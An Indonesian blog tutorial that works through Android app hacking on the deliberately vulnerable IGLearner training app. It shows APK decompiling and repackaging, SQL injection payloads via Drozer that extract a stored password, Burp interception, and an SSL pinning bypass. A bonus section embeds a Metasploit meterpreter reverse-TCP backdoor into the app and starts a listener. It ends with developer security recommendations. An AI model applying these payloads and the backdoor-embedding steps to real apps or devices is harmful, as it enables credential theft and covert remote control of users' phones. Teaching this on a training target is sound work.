Keamanan Aplikasi Mobile dan Android Hacking

Aplikasi mobile sudah menjadi ‘barang lumrah’. Popularitasnya mengalahkan aplikasi berbasis web. Apalagi dibandingkan dengan aplikasi berbasis desktop (ada yang masih ingat Delphi? VB? hehe). Contoh singkat saja, aplikasi web banking, sudah kalah dengan aplikasi mobile banking ‘kan hehehe.. Contoh lain, akhir-akhir ini, setiap ada projek sistem informasi dimana-mana, salah satu yang ditanyakan client adalah ‘bisa diakses dari mobile ga?’ atau ‘ada aplikasi mobile nya ga, jadi ga usah repot-repot buka laptop’. Ya, sekarang ini buka laptop pun menjadi sesuatu yang ribet hahaha. Karena aplikasi mobile sudah semakin marak, sudah barang tentu keamanannya harus semakin diperhatikan. Apalagi untuk aplikasi yang saya contohkan di atas tadi, mobile banking. Pada kesempatan kali ini saya ingin posting tentang ‘hacking’ keamanan aplikasi mobile dan rekomendasi solusi untuk menangkalnya.

Arsitektur Aplikasi Mobile (Simplified)

Secara sederhana dapat digambarkan arsitektur aplikasi mobile memiliki frontend, yang berisi interface tempat user berinteraksi dengan aplikasi seperti input data, swipe kiri kanan, tap ini itu, menyimpan informasi temporary/cache/non-persistent; serta backend, tempat informasi disimpan secara persistent di server. Komunikasi dan sync data dari frontend ke backend via HTTP/HTTPS SOAP, XML, atau JSON.

Arsitektur Aplikasi Mobile
Arsitektur Aplikasi Mobile

Untuk scope hacking aplikasi mobile kali ini lebih dititik beratkan pada frontend hacking, jadi diluar hacking sistem backend (misalnya hacking unprotected API) seperti yang tercantum dalam standard keamanan aplikasi terbaru dari OWASP Top 10: OWASP 2017 klausul A 10. Bisa panjaaaang ntar postingannya hahaha.

Persiapan

Berikut ini adalah mobile app objek hacking dan tools yang digunakan dalam melakukan hacking kali ini:

Ok.. kalau semuanya sudah terinstall, selanjutnya mari kita hands-on aplikasi android IGLearner tsb. Aplikasi IGLearner sebenernya adalah aplikasi dengan style “capture the flag”, berisi 8 challenge yang bisa diselesaikan. Jadi aplikasi ini memang sengaja dirancang “vulnerable”, dan ditujukan untuk dijadikan alat belajar hacking aplikasi mobile.

1. Reverse engineer APK untuk mengubah logic apps

Objektif kita di step ini adalah merubah logic apps karena aplikasi IGLearner code nya tidak di obfuscate. Pertama-tama decompile APK dengan apktool

[email protected]:~$ apktool.bat d com.intrepidusgroup.learner.apk
I: Using Apktool 2.1.1 on com.intrepidusgroup.learner.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/inan/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Hasilnya adalah file *.smali aplikasi IGLearner tsb.

IGLearner Decompiled
IGLearner Decompiled

Selanjutnya, apapun bisa dilakukan disini. Mengubah code sehingga logic programming berubah juga bisa. Tapi harus menguasai bahasa SMALI dulu hehehe.

Sebagai contoh kali ini, diberikan yang sangat simple mengubah code nih… Berhubung aplikasi IGLearner ini adalah apps yang style nya “capture the flag” dan banyak challenge nya, saya coba mengubah string agar tombol submit di setiap challenge jika di tap akan selalu mengeluarkan string “Bener!!!” Ahahahaha kezel beud.

Source Original
Source Original
Source Modified
Source Modified

Setelah di modifikasi, save, dan kembali build APK nya:

[email protected]:~$ apktool.bat b -f -d com.intrepidusgroup.learner
SmaliDebugging has been removed in 2.1.0 onward. Please see: https://github.com/iBotPeaches/Apktool/issues/1061
I: Using Apktool 2.1.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...

Dan file APK terbaru hasil modifikasi ada di folder “dist”. Kemudian dilakukan digital sign APK tersebut. Berhubung belum ada key nya, buat dulu kunci “konci.keystore” dengan menggunakan java keytool:

[email protected]:~$ keytool.exe" -genkey -v -keystore konci.keystore -alias tibandungapp -keyalg RSA -keysize 2048 -validity 10000
Enter keystore password:
Re-enter new password:
--------------snip-------------
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 10,000 days
        for: CN=tibandung, OU=tibandung, O=tibandung, L=tibandung, ST=tibandung, C=ID
Enter key password for (RETURN if same as keystore password):
[Storing konci.keystore]

Sign dengan menggunakan java jarsigner:

[email protected]:~$ jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore konci.keystore com.intrepidusgroup.learner.apk tibandungapp
Enter Passphrase for keystore:
   adding: META-INF/MANIFEST.MF
   adding: META-INF/TIBANDUN.SF
   adding: META-INF/TIBANDUN.RSA
  signing: AndroidManifest.xml
--------------snip-------------
  signing: res/menu/lesson_selector.xml
  signing: resources.arsc
jar signed.

Lalu di zipalign…

[email protected]:~$ zipalign.exe -v 4 com.intrepidusgroup.learner.apk com.intrepidusgroup.learner-aligned.apk
Verifying alignment of com.intrepidusgroup.learner-aligned.apk (4)...
      50 META-INF/MANIFEST.MF (OK - compressed)
    1564 META-INF/TIBANDUN.SF (OK - compressed)
    3396 META-INF/TIBANDUN.RSA (OK - compressed)
    4517 AndroidManifest.xml (OK - compressed)
--------------snip-------------
  264554 res/menu/activity_lesson_intro.xml (OK - compressed)
  264874 res/menu/lesson_selector.xml (OK - compressed)
  265180 resources.arsc (OK)
Verification succesful

File com.intrepidusgroup.learner-aligned.apk Ready!! Tinggal install ke device Android.. Kemudian coba saja jalankan challenge tersulit, kemudian klik submit, pasti jawabannya bener tuh 😛

Modified APK
Modified APK

2. Reverse engineer APK untuk mempelajari logic apps

Hampir sama dengan point 1, namun objektif di point 2 lebih pada ingin mempelajari logic apps yang di compile ke bahasa Java, yang lebih common dimengerti oleh orang daripada code smali. Biasanya dilakukan oleh hacker yang memang niat melakukan hacking suatu aplikasi mobile. Karena tentu dia harus tau dulu flow aplikasi ini. Apakah APK tersebut akan membuat file, mengirimkan sebuah token, call web API di URL tertentu, dan sebagainya.

Decompile apk dengan tools dex2jar:

[email protected]:~$ dex2jar com.intrepidusgroup.learner.apk
dex2jar com.intrepidusgroup.learner.apk -> .\com.intrepidusgroup.learner-dex2jar.jar

Kemudian tinggal open file com.intrepidusgroup.learner-dex2jar.jar dengan jd-gui:

JD-GUI untuk review code
JD-GUI untuk review code

Sebagai contoh, dari review code di atas ini, kita jadi tau ternyata IGLearner.apk akan membuat sebuah file txt writeable dengan format penamaan [Tanggal][NomorTelp].txt. Kalau device nya seperti Tab atau di emulator, yang tidak punya nomor telepon, ternyata ada execption dari developernya, yaitu asumsi nomornya menjadi 1234567890. Ooo.. jadi ada kemungkinan nama filenya [Tanggal]1234567890.txt

3. SQL Injection ke database local apps: sql-lite

Step selanjutnya mencoba scan database local pada apps mobile terhadap SQL injection. Kita menggunakan bantuan tools Drozer disini. Drozer merupakan salah satu tools pentest untuk aplikasi mobile yang punya beberapa fitur standar security testing seperti melakukan scanning. Drozer berbentuk agent/server, yang mana agent (file APK) di install di device android yang sedang kita test, sedangkan servernya di install di PC/Laptop pentester. Kemudian agent akan berkomunikasi dengan server via tcp port 31415.

Jalankan Drozer server

[email protected]:~$ drozer server start
Starting drozer Server, listening on 0.0.0.0:31415

Kemudian jalankan console interface

[email protected]:~$ drozer console connect
Selecting fc81878f63285aad (unknown Android SDK built for x86 7.1.1)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.4)
dz>

Berikut contoh-contoh command yang bisa dilakukan oleh Drozer

dz> list
---snip---
app.package.info            Get information about installed packages
scanner.activity.browsable  Get all BROWSABLE activities that can be invoked from the web browser
scanner.misc.native         Find native components included in packages
scanner.misc.readablefiles  Find world-readable files in the given folder
scanner.misc.secretcodes    Search for secret codes that can be used from the dialer
scanner.misc.sflagbinaries  Find suid/sgid binaries in the given folder (default is /system).
scanner.misc.writablefiles  Find world-writable files in the given folder
scanner.provider.finduris   Search for content providers that can be queried from our context.
scanner.provider.injection  Test content providers for SQL injection vulnerabilities.
scanner.provider.sqltables  Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal  Test content providers for basic directory traversal vulnerabilities.
shell.exec                  Execute a single Linux command.
shell.send                  Send an ASH shell to a remote listener.
shell.start                 Enter into an interactive Linux shell.
---snip---

Sebagai contoh, untuk mengetahui permission dari APK IGLearner

dz> run app.package.info -f learner
Package: com.intrepidusgroup.learner
 Application Label: Learner
 Process Name: com.intrepidusgroup.learner
 Version: 1.0
 Data Directory: /data/user/0/com.intrepidusgroup.learner
 APK Path: /data/app/com.intrepidusgroup.learner-1/base.apk
 UID: 10075
 GID: [3003]
 Shared Libraries: null
 Shared User ID: null
 Uses Permissions:
 - android.permission.READ_PHONE_STATE
 - android.permission.INTERNET
 Defines Permissions:
 - None

OK, back to mission… Mari kita scan apakah ada attack vector yang injectable…

dz> run scanner.provider.injection -a com.intrepidusgroup.learner
Scanning com.intrepidusgroup.learner...
Not Vulnerable:
 content://com.intrepidusgroup.learner.contentprovider/
 content://com.intrepidusgroup.learner.contentprovider

Injection in Projection:
 No vulnerabilities found.

Injection in Selection:
 content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/
 content://com.intrepidusgroup.learner.contentprovider/iglearnerdb

Ternyata ada yang vulnerable terhadap SQL injection by SELECT di 2 alamat tersebut di atas.. Tembaak gaan..

dz> run scanner.provider.finduris -a com.intrepidusgroup.learner
Scanning com.intrepidusgroup.learner...
Able to Query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb
Unable to Query content://com.intrepidusgroup.learner.contentprovider/
Unable to Query content://com.intrepidusgroup.learner.contentprovider
Able to Query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/

Accessible content URIs:
 content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/
 content://com.intrepidusgroup.learner.contentprovider/iglearnerdb

OK mari kita ambil salah satu sample yang able to query, karena ini Blind SQL injection, kita coba-coba saja selection injection dengan union ke 5 kolom (SELECT 1,2,3,4,5)

dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/
--selection "'' or 1='1' union select 1,2,3,4,5 from sqlite_master;"

near "union": syntax error (code 1): , while compiling: SELECT * FROM users WHER
E ('' or 1='1' union select 1,2,3,4,5 from sqlite_master;)

Oops.. syntax error.. coba 4 deh kalau gitu…

dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ 
--selection "'') or 1='1' union select 1,2,3,4 from sqlite_master;
"
| _id | user | password | description |
| 1   | 2    | 3        | 4           |

BINGGOHH.. ok, tinggal union ke data yang benar..

dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ 
--selection "'') or 1='1' union select name,sql,3,4 from sqlite_master;"

| _id              | user 													| password | description |
| android_metadata | CREATE TABLE android_metadata (locale TEXT)    	| 3        | 4           |
| sqlite_sequence  | CREATE TABLE sqlite_sequence(name,seq) 		| 3        | 4           |
| users            | CREATE TABLE users(_id, user, password, description)| 3        | 4           |

Daaan… terlihat ada table bernama “users”, dengan kolom “user”, “password”. Let’s query ’em:

dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ 
--selection "'') or 1='1' union select _id,user,password,description from users;"
| _id | user    | password	| description         |
| 1   | johndoe | bvgzxs0m91	| John Doe's password |

Case closed!

4. SSL Sniffing / SSL MITM

Objektif di skenario 4 ini adalah melakukan sniffing apk yang sync ke backend nya di internet. Tujuannya untuk mendapatkan informasi penting yang mungkin saja dikirimkan apk tersebut ke internet. Misalnya informasi token, ID, parameter tertentu, dll.

Pertama, jalankan Burp Suite Free Edition, dan aktifkan mode intercept & listen di semua interface 0.0.0.0:8080. Kemudian setelah service proxy Burp tsb running, setup device android agar melalui proxy Burp tsb. Agar intercept dapat berjalan dengan lancar, install pula certificate milik Burp bernama “PortSwigger CA” ke dalam trusted certificate Android sehingga tidak ada masalah koneksi SSL antara android ke Burp. Jadi secara flow, komunikasi dari Android ke backend akan melewati proxy Burp dulu.

SSL MITM
SSL MITM

Pada gambar di atas, dengan menggunakan Burp Proxy, sebenarnya akan ada 2 koneksi yang dimaintain oleh Burp. Yaitu koneksi antara android ke burp proxy di port 8080 (Nomor 1), dan koneksi burp ke server backend (Nomor 2). Sehingga apapun yang dikirimkan dari android device walaupun encrypted tetap bisa di decrypt oleh Burp karena terminasinya memang dilakukan di proxy tsb.

Snapshot pada device android:

Setup Proxy & Trusted CA di Android
Setup Proxy & Trusted CA di Android

Jalankan aplikasi IGLearner yang dapat mentrigger apps mengirimkan sesuatu ke server nya di internet. Daaan.. cek di interface Burp Suite ternyata APK ini mengirimkan SecretTokenHeader ke server. SecretTokenHeader ini kemudian dapat kita explore lebih jauh. Bagaimana kalau value nya diganti, atau kita pakai di device lain, dsb:

Secret Token terbaca di Burp Proxy
Secret Token terbaca di Burp Proxy

Di skenario 4 ini menariknya, saya pribadi pernah menjumpai aplikasi mobile (bukan banking sih :P) yang melakukan sync ke internet dan mengirimkan info poin. Katakanlah poin yang dikirimkan adalah “100”. Tapi kemudian saya intercept, dan value “100” nya saya ganti jadi “999999”. Dan parahnya beneran terupdate di server, karena memang di sisi backend nya tidak melakukan verifikasi. Bisa dibayangkan kalau hal ini terjadi di aplikasi mobile banking? Value 100 to 999999 nya itu uang? Hehehe…

5. Bypass SSL Pinning

Risiko pada step 4 di atas sebenarnya bisa dicegah dengan melakukan pinning. Dengan membenamkan (pinning) real SSL certificate milik server backend di internet. Device android jadi bisa melakukan verifikasi based-on value yang di pinning di apk tersebut. Untuk contoh kasus di atas, jika koneksi SSL nya di intercept oleh sebuah proxy yang menggunakan certificate “palsu” bernama “PortSwigger CA” maka aplikasi tidak akan melanjutkan transaksinya.

Namun dengan implementasi pinning yang kurang tepat pada aplikasi IGLearner ini, prosedur pinning tersebut malah tetap bisa dibypass. Berikut buktinya:

Aplikasi IGLearner ini menggunakan layanan semacam https://certpins.appspot.com/pin untuk mengkalkulasi pin sertifikat SSL nya. Default value SSL certificate milik real server yang di pinning oleh developer IGLearner adalah “22be4c99907cf04f336da9e82cf0608fa79cc42e” terlihat dari hasil decompile apktool, pada smali code baris berikut:

SSL Pinning Value
SSL Pinning Value

Kita tinggal mengubah value “22be4c99907cf04f336da9e82cf0608fa79cc42e” ke pin value milik “PortSwigger CA”. Hasil kalkulasi pin:

SSL Pinning After Modification
SSL Pinning After Modification

Ganti baris 136 ‘const-string v16’ pada file “HttpRequestTaskWithPinning.smali” tsb. Build ulang dengan apktool seperti petunjuk di tutorial skenario 1 sebelumnya, digital sign, dan… ya di install di android nya lagi versi apk yang sudah dimodif itu hehe..

[email protected]:~$ apktool b com.intrepidusgroup.learner.apk

[email protected]:~$ jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore konci.keystore com.intrepidusgroup.learner.apk tibandungapp

[email protected]:~$ zipalign.exe -v 4 com.intrepidusgroup.learner.apk com.intrepidusgroup.learner-aligned.apk

Apa yang terjadi? SSL Pinning percuma karena bisa di decompile, diubah value pin-nya ke value pin sertifikat SSL milik Burp Proxy (PortSwigger CA).

6. Embed Backdoor (Bonus)

Ada 1 trick lagi yang ingin saya posting disini yaitu menempelkan backdoor di aplikasi IGLearner.apk. Sehingga setiap pengguna aplikasi menjalankan IGLearner.apk, secara tidak langsung juga menjalankan script backdoor metasploit. Syaratnya perlu tools metasploit framework dan apk-embed-payload.

Gunakan tool apk-embed-payload untuk memanggil script metasploit (msfvenom) untuk kemudian tool tsb akan mengkombinasikan IGLearner.apk dengan backdoor milik metasploit.

[email protected]:~$ ./run com.intrepidusgroup.learner.apk -p android/meterpreter/reverse_tcp LHOST=192.168.30.130 LPORT=31337

???  ??? ??????? ??????? ??????? ??????? ??????? ????????
?????????????????????????????????????????????????????????
 ?????? ???     ????????????  ??? ???????????????  ?????
 ?????? ???     ????????????  ??? ??????????????? ?????
???? ???????????????????????????????????????  ???????????
???  ??? ??????? ??????? ??????? ??????? ???  ???????????                       

Embed a Metasploit Payload in an Original .Apk File v0.2
[1] Generating msfvenom payload
[2] Signing payload
[3] Decomposing original APK
[4] Decomposing payload APK
[5] Locating onCreate() hook
[6] Copying payload files
----------snip------------
[+] Adding android.permission.WAKE_LOCK
[8] Rebuilding com.intrepidusgroup.learner.apk with metasploit payload
[9] Signing com.intrepidusgroup.learner_embedded.apk
[+] com.intrepidusgroup.learner.apk has been embedded, com.intrepidusgroup.learner_embedded.apk

Maksud dari command di atas adalah mengkombinasikan aplikasi mobile IGLearner.apk dengan payload metasploit bertipe meterpreter yang saat di execute akan menginisiasi koneksi ke server remote control nya di host dengan alamat IP 192.168.30.130 pada port 31337. APK baru bernama “com.intrepidusgroup.learner_embedded.apk” sudah jadi. Jangan lupa di sign:

[email protected]:~$ jarsigner -verbose -keystore konci.keystore com.intrepidusgroup.learner_embedded.apk tibandungapps

Kemudian zipalign:

[email protected]:~$ zipalign -v 4 com.intrepidusgroup.learner_embedded.apk com.intrepidusgroup.learner_embedded-ready.apk

Install ke device android target… Sementara jalankan backdoor listener di server 192.168.30.130 sambil menunggu koneksi masuk:

< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v4.14.24-dev                         ]
+ -- --=[ 1657 exploits - 949 auxiliary - 293 post        ]
+ -- --=[ 486 payloads - 40 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.30.130:31337
[*] Starting the payload handler...

Selanjutnya terserah anda heheheh… Btw saya pernah sedikit menyinggung fitur-fitur dari meterpreter di postingan ini dan ini.

Konklusi & Rekomendasi Keamanan pada Aplikasi Mobile

Dari berbagai ancaman pada point-point di atas itu, langkah yang dapat dilakukan oleh developer untuk menghindari hal-hal tsb adalah dengan mengikuti standard security/keamanan aplikasi mobile:

  1. Obfuscate code. Tools yang biasa digunakan adalah dengan ProGuard (contoh simple penggunaan ProGuard di Android Studio disini). Code di obfuscate agar mempersulit pembacaan code oleh pihak lain saat dilakukan reverse engineering.
  2. Menyimpan data yang bersifat sensitif ke NDK (Native Development Kit). Contoh data sensitif: alamat URL, SSL pin, dll.
  3. Database local pada aplikasi harus dienkripsi.
  4. Penggunaan captcha/BOT prevention, untuk menyaring form input dari scripting flooding bot (not human).
  5. Koneksi ke backend menggunakan HTTPS
  6. SSL Pinning. Menanamkan certificate server pada aplikasi dan melakukan validasi certificate tsb saat koneksi
  7. Diluar praktik hacking kali ini tapi masih terkait ke standard OWASP Top 10 2017 klausul A 10 tentang unprotected APISession management & token security. Setiap halaman pada aplikasi yang berhubungan dengan backend/web service perlu disertakan token pada setiap request nya. Sehingga backend dapat memvalidasi request tersebut berasal dari client yang memang sudah terautentikasi (verified).

Sekian sedikit tentang keamanan pada aplikasi mobile. Semoga bermanfaat.

Leave a Reply

Your email address will not be published. Required fields are marked *